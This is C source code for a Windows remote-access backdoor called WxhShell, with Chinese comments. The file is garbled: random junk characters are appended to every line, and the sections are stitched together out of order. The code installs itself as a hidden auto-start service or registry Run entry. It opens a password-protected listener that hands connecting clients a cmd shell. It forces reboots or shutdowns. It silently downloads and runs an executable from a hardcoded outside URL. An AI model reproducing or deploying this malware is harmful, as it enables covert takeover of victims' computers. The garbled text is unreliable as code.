    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ldaT: er9  
    if(Boot(SHUTDOWN)) raP9rEs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\ ".6=E#W  
    else { uD4W@*PYr  
    closesocket(wsh); XzBl }4s  
    ExitThread(0); %wJ>V-\e  
    } \/m-G:|  
    break; U:aaa  
    } ronZa0  
  // 获取shell Djp;\.$(  
  case 's': { Nfl5tI$U:  
    CmdShell(wsh); CSFE[F63  
    closesocket(wsh); @[ '?AsO  
    ExitThread(0); ZZeF1y[q  
    break; 8tT/w5  
  } 91FVe  
  // 退出 JWxSN9.X  
  case 'x': { ~\O,#j`_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]#FQde4]5  
    CloseIt(wsh); H ;HFen|  
    break; wr6(C:  
    } GRgpy  
  // 离开 :-+j,G9 t  
  case 'q': { @ `SlOKz!=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (%]M a  
    closesocket(wsh); |@MGGAk  
    WSACleanup(); *.-qbwOg  
    exit(1); X/S%0AwZ  
    break; n=h!V$X   
        } 1z8fhE iiE  
  } *nY$YwHB  
  } C7MCMM|S  
4+N9Ylh  
  // 提示信息 "Qe2U(Un  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tHH @[E+h  
} 1KI5tf>>p  
  } idZ]d6  
+tv"j;z  
  return; h]^= y.Q  
} %Q5 |RL D  
S\A9r!2  
// shell模块句柄 J/A UOInh  
int CmdShell(SOCKET sock) ']>/$[!  
{ SrvC34<7  
STARTUPINFO si; NKu*kL}W=  
ZeroMemory(&si,sizeof(si)); e>_Il']Mb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {&)E$ M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /h K/t;  
PROCESS_INFORMATION ProcessInfo; @Yzb6@g"  
char cmdline[]="cmd"; 22v= A6 =  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M_#^zo "x  
  return 0; 20BU;D3  
} qyY]: (8  
C,dRdEB>  
// 自身启动模式 e\H1IR3  
int StartFromService(void) K55]W2I9  
{ d)v'K5  
typedef struct 0"xD>ue&  
{ zFO#oW,D  
  DWORD ExitStatus; 2@$`xPg  
  DWORD PebBaseAddress; b:6e2|xf?  
  DWORD AffinityMask; N5@l[F7I  
  DWORD BasePriority; P&9&/0r=_  
  ULONG UniqueProcessId; K}Rq<z W  
  ULONG InheritedFromUniqueProcessId; Z oQPvs7_  
}   PROCESS_BASIC_INFORMATION; +Uf+`  
:pg]0X;  
PROCNTQSIP NtQueryInformationProcess; IM&l%6[).  
Q`(.Blgm;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U jB5Xks  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4lF?s\W:  
A$XmO}+  
  HANDLE             hProcess; ?wbf)fbq  
  PROCESS_BASIC_INFORMATION pbi; @hIHvLpRB  
f-a+&DB9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u75(\<{  
  if(NULL == hInst ) return 0; [5s4Jp$+  
OE_A$8L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [[VB'Rs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aj@<4A=;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v[=TPfX0  
3q:>NB<  
  if (!NtQueryInformationProcess) return 0; o_&*?k*  
2sNV09id  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z Feo8S  
  if(!hProcess) return 0; )E (9 R(  
Qwu~ {tf+'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s2iL5N|"Q  
y?yWM8  
  CloseHandle(hProcess); ?cD2EX%(  
2]f?c%)I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .z&,d&E  
if(hProcess==NULL) return 0; L&h90Az1W  
/U =eB?>  
HMODULE hMod; LKe ~  
char procName[255]; yOXL19d@p_  
unsigned long cbNeeded; (SGU]@)g  
i4^1bd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 23~KzC  
2C_/T8  
  CloseHandle(hProcess); c6f[^Q%#j  
,T\)%q  
if(strstr(procName,"services")) return 1; // 以服务启动 "Zq)y_1  
;Vh5nO  
  return 0; // 注册表启动 55]E<2't  
} 4J6,_8`U  
t~@~XI5  
// 主模块 a2\r^fY/  
int StartWxhshell(LPSTR lpCmdLine) G tSvb6UNn  
{ =[T_`*s&  
  SOCKET wsl; ;^Hg\a  
BOOL val=TRUE; -cW 'g  
  int port=0; l/F'W}  
  struct sockaddr_in door; rLzN #Zoi  
T.kQ] h2ZG  
  if(wscfg.ws_autoins) Install(); H|i39XV  
.|Zt&5osI  
port=atoi(lpCmdLine); =& .KKr  
us TPr  
if(port<=0) port=wscfg.ws_port; {3{cU#\QA  
FqT2+VO~  
  WSADATA data; r^,XpRe&M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S LSbEm  
EA+}Rf6}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eH9Ofhsry  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .uGvmD <;x  
  door.sin_family = AF_INET; Y4.t:Uzr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }u aRS9d  
  door.sin_port = htons(port); cXY;Tw45  
q!+&|F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p2Fff4nQ   
closesocket(wsl); JL1z8Nu  
return 1; xOAA1#   
} G$)f5_]7{  
jjLwHJ  
  if(listen(wsl,2) == INVALID_SOCKET) { ,-GkP>8f(  
closesocket(wsl); sKK*{+,kh;  
return 1; 1!4-M$-  
} +.u)\'r;h  
  Wxhshell(wsl); [~[)C]-=  
  WSACleanup(); +4Uxq{.K  
<*4BT}r,^2  
return 0; XzBnj7E  
^[]@dk9  
} )* \N[zm  
[_pw|BGp  
// 以NT服务方式启动 !lk -MN.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'zg; *)x1/  
{ qij<XNZU"&  
DWORD   status = 0; AsOkOS3  
  DWORD   specificError = 0xfffffff; 4%s6 d,6"  
&eqeQD6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v3ky;~ke  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +"i|)yUYy}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8w Xnc%  
  serviceStatus.dwWin32ExitCode     = 0; [7btoo|P]  
  serviceStatus.dwServiceSpecificExitCode = 0; ZHWxU  
  serviceStatus.dwCheckPoint       = 0; Z@G[\"  
  serviceStatus.dwWaitHint       = 0; R;]z/|8  
KT>eE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H`:2J8   
  if (hServiceStatusHandle==0) return; .a0]1IkatV  
,L.*95 ,  
status = GetLastError(); pp2,d`01[L  
  if (status!=NO_ERROR) ,_N+t:*#0  
{ , Y\`n7Ww  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $q iY)RE  
    serviceStatus.dwCheckPoint       = 0; 26&$vgO~:  
    serviceStatus.dwWaitHint       = 0; \Xr Sn_p-  
    serviceStatus.dwWin32ExitCode     = status; 1[g -f ,  
    serviceStatus.dwServiceSpecificExitCode = specificError; `;7eu=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6` 8H k;  
    return; ^]cl:m=*  
  } @X?7a]+;8  
e` QniTkT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s.#%hPX{  
  serviceStatus.dwCheckPoint       = 0; ]+ KN9  
  serviceStatus.dwWaitHint       = 0; <Pm!#)-g9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~v$1@DQ}  
} +}.~"  
.S{FEV  
// 处理NT服务事件,比如:启动、停止 RnaxRnXVR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]VCVV!G_=n  
{ 2I@d=T{K  
switch(fdwControl) 9*&c2jh  
{ XY h)59oM%  
case SERVICE_CONTROL_STOP: dKk#j@[n"  
  serviceStatus.dwWin32ExitCode = 0; W0 n?S "  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~O c:b>~  
  serviceStatus.dwCheckPoint   = 0; ^xt@  
  serviceStatus.dwWaitHint     = 0; hb.^ &  
  { -P.51q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xt .ca,`U  
  } x_+-TC4IXn  
  return; CQANex4&\  
case SERVICE_CONTROL_PAUSE: 3T= ?!|e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1 O?bT,"b  
  break; j%`% DQ  
case SERVICE_CONTROL_CONTINUE: hE;|VSdo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l"rX'g?  
  break; TFAd  
case SERVICE_CONTROL_INTERROGATE: # E{2 !Z  
  break; &Yklf?EZ>Q  
}; \V_ Tc`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (k^o[HF  
} _m.w5nJ  
 Iysp)  
// 标准应用程序主函数 qN"Q3mU^h*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^ 7SE2Zi  
{ >\o._?xSA  
,gdud[&|;  
// 获取操作系统版本 PWBcK_4i%  
OsIsNt=GetOsVer(); #I"s{*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L"tzUYxg  
,(A $WT@e  
  // 从命令行安装 VTwDa*]AhB  
  if(strpbrk(lpCmdLine,"iI")) Install(); c[>xM3=e^q  
[Qqomm.[\w  
  // 下载执行文件 %X BMi ~  
if(wscfg.ws_downexe) { Miz?t*|{[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +^DDWVp  
  WinExec(wscfg.ws_filenam,SW_HIDE); p/U{*i ]t  
} }0Ie Kpu5  
, .E>  
if(!OsIsNt) { |[)n.N65 =  
// 如果时win9x,隐藏进程并且设置为注册表启动 ka_(8  
HideProc(); +# 3e<+!F  
StartWxhshell(lpCmdLine); _CMNmmp`e  
} a*&(cn  
else cgi:"y F  
  if(StartFromService()) +#Wwah$  
  // 以服务方式启动 +BVY9U?\"  
  StartServiceCtrlDispatcher(DispatchTable); p,.6sk  
else T& 4f} g/  
  // 普通方式启动 nb.|^O?  
  StartWxhshell(lpCmdLine); ?>Ngsp>-P  
jU-aa+  
return 0; q B IekQT  
} %P7 qA  
}xry  
l,*5*1lM  
J&iSS9c  
=========================================== =I aWf  
\(RD5@=!4#  
a^8PB|G  
UwxszEHC  
F{4v[WP)  
D4\[D8pD  
" 6?Kl L [~  
CBv0fQtL  
#include <stdio.h>  o*Xfgc  
#include <string.h> `{|w*)mD  
#include <windows.h> ]}kw'&  
#include <winsock2.h> <DP8a<{{  
#include <winsvc.h> '#XT[\  
#include <urlmon.h> ZS%W/.?  
j XH9P q4  
#pragma comment (lib, "Ws2_32.lib") ?;_*8Doq-a  
#pragma comment (lib, "urlmon.lib") |dz"uIrT  
v<t?t<|J  
#define MAX_USER   100 // 最大客户端连接数 l2kGFgc  
#define BUF_SOCK   200 // sock buffer ' '(rC38  
#define KEY_BUFF   255 // 输入 buffer r ^\(M {  
KIi:5Y  
#define REBOOT     0   // 重启 yIcTc  
#define SHUTDOWN   1   // 关机 J&s$Wqf  
gXlcB~!  
#define DEF_PORT   5000 // 监听端口 :EAh%q  
,zdGY]$  
#define REG_LEN     16   // 注册表键长度 W7Y@]QMX  
#define SVC_LEN     80   // NT服务名长度 c -PZG|<C[  
|g.CS$'#Nt  
// 从dll定义API f@$W5*j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !:m.-TE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0ki- /{;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8>t,n,k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xnt)1Q  
:dh; @kp  
// wxhshell配置信息 @,n)1*{P  
struct WSCFG { :-5[0Mx=  
  int ws_port;         // 监听端口 ZMb+sUK  
  char ws_passstr[REG_LEN]; // 口令 :09NZ !!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4~&3.1  
  char ws_regname[REG_LEN]; // 注册表键名 K6t"98  
  char ws_svcname[REG_LEN]; // 服务名 p<=Lh47 =  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6e rYjq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DtFHh/X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vMB61 |O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D>[Sib/@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5XUm}D$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uQKQC?w  
>]pZ;e$  
}; jwT` Z  
E<Zf!!3  
// default Wxhshell configuration J?w_DQa  
struct WSCFG wscfg={DEF_PORT, -dixiJ=  
    "xuhuanlingzhe", <@"rI>=  
    1, \0x>#ygX  
    "Wxhshell", .s9E +1  
    "Wxhshell", hqvhnqQk  
            "WxhShell Service", LN WS  
    "Wrsky Windows CmdShell Service", Ik$$Tn&;  
    "Please Input Your Password: ", v?OVhV  
  1, L@{'J  
  "http://www.wrsky.com/wxhshell.exe", AQUAQZc  
  "Wxhshell.exe" `P;r[j"  
    }; <Z:FY|'s  
hm1s~@oEm  
// 消息定义模块 c$ !?4z_.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .oyAi||  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /=S@3?cQAB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uv(R^50>  
char *msg_ws_ext="\n\rExit."; {6v.(Zlh$  
char *msg_ws_end="\n\rQuit."; x 4+WZYv3  
char *msg_ws_boot="\n\rReboot..."; 5G}4z>-]F)  
char *msg_ws_poff="\n\rShutdown..."; G0UaE1n  
char *msg_ws_down="\n\rSave to "; ] #@:VR  
?Ts]zO%%Z  
char *msg_ws_err="\n\rErr!"; ks0Q+YW  
char *msg_ws_ok="\n\rOK!"; E2'Wzrovlo  
YCD |lL#  
char ExeFile[MAX_PATH]; ,2fi`9=\  
int nUser = 0; o'#& =h$_  
HANDLE handles[MAX_USER]; ^~H{I_Y  
int OsIsNt; 9fEe={ B+  
5v)^4( )  
SERVICE_STATUS       serviceStatus; zWC| Qe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =7<JD}G  
m[}k]PB>  
// 函数声明 LL#REK|lm8  
int Install(void); ]eKuR"ob0  
int Uninstall(void); qLmzA@Cv  
int DownloadFile(char *sURL, SOCKET wsh); 8gP1]xD  
int Boot(int flag); '5BD%#[  
void HideProc(void); F0<)8{s  
int GetOsVer(void); _"1RidhH  
int Wxhshell(SOCKET wsl); =xo0T 6  
void TalkWithClient(void *cs); eM<N?9s  
int CmdShell(SOCKET sock); =x8[%+  
int StartFromService(void); !zX() V  
int StartWxhshell(LPSTR lpCmdLine); ,m=G9QcN  
kEDpF26!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $X#y9<bW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?P'$Vxl  
VmqJMU>.  
// 数据结构和表定义 sF {,n0<8  
SERVICE_TABLE_ENTRY DispatchTable[] = |UB$^)Twb  
{ e34>q:#5l  
{wscfg.ws_svcname, NTServiceMain}, ai_ve[A  
{NULL, NULL} [./FzlAs  
}; CPOH qK`k  
Oh! {E5!)  
// 自我安装 l{[@Ahb}?  
int Install(void) f7x2"&?vg  
{ !/}3/iU  
  char svExeFile[MAX_PATH]; u_k[< &$  
  HKEY key; ]=~dyi  
  strcpy(svExeFile,ExeFile); bXs=<`>  
} k2 Q  
// 如果是win9x系统,修改注册表设为自启动 $:~;U xh=  
if(!OsIsNt) { >&(#p@#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &*v\t\]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <O1R*CaP  
  RegCloseKey(key); oai=1vt@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T`x|=}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y}ogwg&  
  RegCloseKey(key); u9!  ?  
  return 0; ;xwcK-A  
    } @ZJL]TO  
  } {,%&}kd>  
} h5P_kZJ  
else { 1wR[nBg*|  
I\mF dE  
// 如果是NT以上系统,安装为系统服务 Tc^ 0W=h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :F:1(FDP  
if (schSCManager!=0) Xd(^7~i  
{ hN3FH# YO  
  SC_HANDLE schService = CreateService ;u<Ah?w=Z  
  ( K0gQr.J53  
  schSCManager, G8av5zR  
  wscfg.ws_svcname, ?AyxRbk  
  wscfg.ws_svcdisp, B\Nbt!Ps  
  SERVICE_ALL_ACCESS, UA$IVK&{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^^b'tP1>  
  SERVICE_AUTO_START, J0!V(  
  SERVICE_ERROR_NORMAL, \W*L9azr  
  svExeFile, OijuOLt  
  NULL, ZO<,V  
  NULL, O*~,L6# }  
  NULL, U`(=iyWP=  
  NULL, b?}mQ!  
  NULL 3x;UAi+&  
  ); nm5DNpHk  
  if (schService!=0) l e/j!  
  { aj5HtP-  
  CloseServiceHandle(schService); '-v:"%s|  
  CloseServiceHandle(schSCManager); {[!<yUJ`S#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A)U"F&tvm  
  strcat(svExeFile,wscfg.ws_svcname); \ptO4E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *Ypn@YpSp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =o 9s?vOJ  
  RegCloseKey(key); lUu0AZQmG  
  return 0; 'FXM7D   
    } a 8k2*u  
  } j-K[]$  
  CloseServiceHandle(schSCManager); e4z~   
} DzpWU8j  
} HA0!>_I dC  
$)#orZtzr  
return 1; I/(U0`%  
} U"r*kO%  
> Z+*tq  
// 自我卸载 LACrg  
int Uninstall(void) %E_Y4Oe1  
{ Lp&nO  
  HKEY key; )E.AY  
MN<LZC% $  
if(!OsIsNt) { '7'/+G'~&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @6 "MhF  
  RegDeleteValue(key,wscfg.ws_regname); ,!{8@*!=s  
  RegCloseKey(key); 1?.CXq K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cNd&C'/N  
  RegDeleteValue(key,wscfg.ws_regname); )]fiyXA  
  RegCloseKey(key); l!,tssQ  
  return 0; |qX ?F`  
  } Xe);LhDC  
} 'UX^]  
} D|zuj]  
else { y[i}iT/~  
U,U=udsi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |m-N5$\IC  
if (schSCManager!=0) 5ngs1ZF@  
{ ] 0R*F30]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uj3`M9  
  if (schService!=0) w%\ nXJ  
  { Osqk#Oh  
  if(DeleteService(schService)!=0) { ya2sS9^T[  
  CloseServiceHandle(schService); I%.nPOQ 8  
  CloseServiceHandle(schSCManager); yP]>eLTSd  
  return 0; }uDpf0;^  
  } &0T.o,&y  
  CloseServiceHandle(schService); Kl.*Q  
  } [x)T2sA  
  CloseServiceHandle(schSCManager); (3N/DY1/  
} ~m fG Yk"  
}  C O6}D  
W"%n5)  
return 1; Sd6O?&(  
} W7!Rf7TK  
a?W5~?\9  
// 从指定url下载文件 j*QdD\)  
int DownloadFile(char *sURL, SOCKET wsh) UwW@}cy,L  
{ pTT00`R  
  HRESULT hr; :q~5Xw/  
char seps[]= "/"; DGg1TUE  
char *token; )Myx(w"S  
char *file; ^fE8|/]nG9  
char myURL[MAX_PATH]; gA gF$H .  
char myFILE[MAX_PATH]; tJ .Ln  
;U#=H9_  
strcpy(myURL,sURL); Ii<k<Bt,  
  token=strtok(myURL,seps); DB}v..  
  while(token!=NULL) dptfIBYc+  
  { 'F3@Xh  
    file=token; F$i 6  
  token=strtok(NULL,seps); g_0| `Sm  
  } 6 X'#F,M  
*P|~v Cnr  
GetCurrentDirectory(MAX_PATH,myFILE); DXQ]b)y+N  
strcat(myFILE, "\\"); 0sH~H[ap  
strcat(myFILE, file); yYrFk^  
  send(wsh,myFILE,strlen(myFILE),0); 4q.yp0E  
send(wsh,"...",3,0); '}:(y$9.`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KD]`pqN9  
  if(hr==S_OK) Ai)>ot  
return 0; -2'+GO7G  
else %:j`%F;R  
return 1; PPh<9$1\g  
U.h2 (-p  
} rjj_]1?K  
;j qF:Wl@  
// 系统电源模块 Wf-XH|j[  
int Boot(int flag) Pz\ByD  
{ %gj7KF  
  HANDLE hToken; YT,yRV9#  
  TOKEN_PRIVILEGES tkp; X&i;WI  
6:AEg  
  if(OsIsNt) { %m [l/,2x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %Y"pVBc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7{7Y[F0  
    tkp.PrivilegeCount = 1; sLFZ 61rT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D!ASO]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vif)g6,  
if(flag==REBOOT) { o+)y!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j"fx|6l)  
  return 0; j@Pd" Z9  
} Bs|Xq'1M!;  
else { i7cUp3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (nXnP{yb  
  return 0; g4YlG"O[~  
} FBvh7D.hV  
  } o7WAH@g  
  else { B#+n$5#FK  
if(flag==REBOOT) { 4jGN:*kZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5 8 7;2  
  return 0; 5#s],h  
} m)  rVzL  
else { r=SC bv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7U?#Xi5  
  return 0; Ryh 0r  
} d R=0K  
} R eb.x_  
#XB3Wden2  
return 1; A?$-Uqb"  
} LI&E.(:  
yla- X|>  
// win9x进程隐藏模块 DVMdRfA  
void HideProc(void) pLCS\AUTsv  
{ 6 eu7&Kj'  
nRu %0Op  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5j$&Zgx51  
  if ( hKernel != NULL ) uK`gveY  
  { `#wEa'v6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]$ Nhy8-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :zq Un&k&  
    FreeLibrary(hKernel); fR~0Fy Gp  
  } 023uAaI^3r  
!#WQ8s!?o  
return; $Dx*[.M3>  
} WTM  
BDzAmrO<  
// 获取操作系统版本 %<+uJ'pj  
int GetOsVer(void) _`O",Ff  
{  8y  
  OSVERSIONINFO winfo; WVhQ?2@}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9<toDg_  
  GetVersionEx(&winfo); EJMd[hMhe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F$jy~W_  
  return 1; n4M Xa()P1  
  else ,x!r^YO=  
  return 0; .-![ ra  
} %&VI-7+K  
}*}F_Y+  
// 客户端句柄模块 mMOgx   
int Wxhshell(SOCKET wsl) S[yrGX8lu  
{ 0Z]HH+Z;  
  SOCKET wsh; =+Odu  
  struct sockaddr_in client;  H!hd0.  
  DWORD myID; GnUD<P=I  
*PV7s  
  while(nUser<MAX_USER) !iNwJ|0  
{ 'J-a2oiM(  
  int nSize=sizeof(client); 4 qY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q5hE S  
  if(wsh==INVALID_SOCKET) return 1; %72(gR2Wa2  
zv0sz])  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @#hvQ6u  
if(handles[nUser]==0) 4e.19H9  
  closesocket(wsh); Wa.xm_4s2  
else 8> $=p4bf  
  nUser++; ^BRqsVw9  
  } oQ/T5cOj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @mxaZ5Vv}  
k'N``.  
  return 0; v<g~ EjzCf  
} vzbGLap#  
$N}t)iA  
// 关闭 socket <-b9 )>  
void CloseIt(SOCKET wsh) sR83e|4I  
{ %,z;W-#gnY  
closesocket(wsh); <;W-!R759  
nUser--; 5p}j{f  
ExitThread(0); %xG<hNw/  
} BY[7`@  
`{h)-Y``  
// 客户端请求句柄 D_JGbNigA  
void TalkWithClient(void *cs) z80FMulO  
{ Cd=$XJ-b  
IvkYM`%  
  SOCKET wsh=(SOCKET)cs; ;L-)$Dy4  
  char pwd[SVC_LEN]; 3imsIBr  
  char cmd[KEY_BUFF]; czu9a"M>X  
char chr[1]; Ri_2@U-  
int i,j; jVN06,3z  
+a|Q)Ob  
  while (nUser < MAX_USER) { x*'H@!!G  
Fp@>(M#3  
if(wscfg.ws_passstr) { Y G8C<g6E7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /ILd|j(e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lOeX5%$Z  
  //ZeroMemory(pwd,KEY_BUFF); W!O/t^H>  
      i=0; VY8cy2  
  while(i<SVC_LEN) { l-v m`-_#  
BLaNS4e  
  // 设置超时 =fnBE`Uc  
  fd_set FdRead; *<67h*|)  
  struct timeval TimeOut; 9{Etv w  
  FD_ZERO(&FdRead); #>)z}a]  
  FD_SET(wsh,&FdRead); % PB{jo  
  TimeOut.tv_sec=8; W]7<PL*u  
  TimeOut.tv_usec=0; `Ji WS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^zO{Aks  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c"lwFr9x7  
d^6-P  R_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < B]qqqP  
  pwd=chr[0]; "h[)5V{  
  if(chr[0]==0xd || chr[0]==0xa) { u=v-,Tw  
  pwd=0; F$ G)vskd  
  break; a$Ud"  
  } yc3/5]E&  
  i++; }cCIYt\RK  
    } ?G',Qtz<K  
?uL-qsU  
  // 如果是非法用户,关闭 socket t'At9<ib  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FA{Q6fi:2  
} O9By5j 4  
e>e${\ =,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^VMCs/g6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "PRHQW  
%Y;^$%X%_  
while(1) { >5kz#|@P  
N_B^k8j  
  ZeroMemory(cmd,KEY_BUFF); d@{12 hq  
59j`Z^e  
      // 自动支持客户端 telnet标准   `|AH3v1  
  j=0; F::Ki4{jJ  
  while(j<KEY_BUFF) { aBaiXv/*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +<p&V a#  
  cmd[j]=chr[0]; sBI/`dGZV  
  if(chr[0]==0xa || chr[0]==0xd) { 8VQ!&^9!U#  
  cmd[j]=0; q\i&E Rr  
  break; EFVZAY"+!;  
  } m`8{arz2  
  j++; :^{KY(3  
    } Qu'#~#L`  
Pm2LB<qS  
  // 下载文件 Y(1?uVYW\d  
  if(strstr(cmd,"http://")) { oVHe<zE.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6U8esPs,  
  if(DownloadFile(cmd,wsh)) hwe6@T.#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ue7D' UZL>  
  else :PN%'~}n  
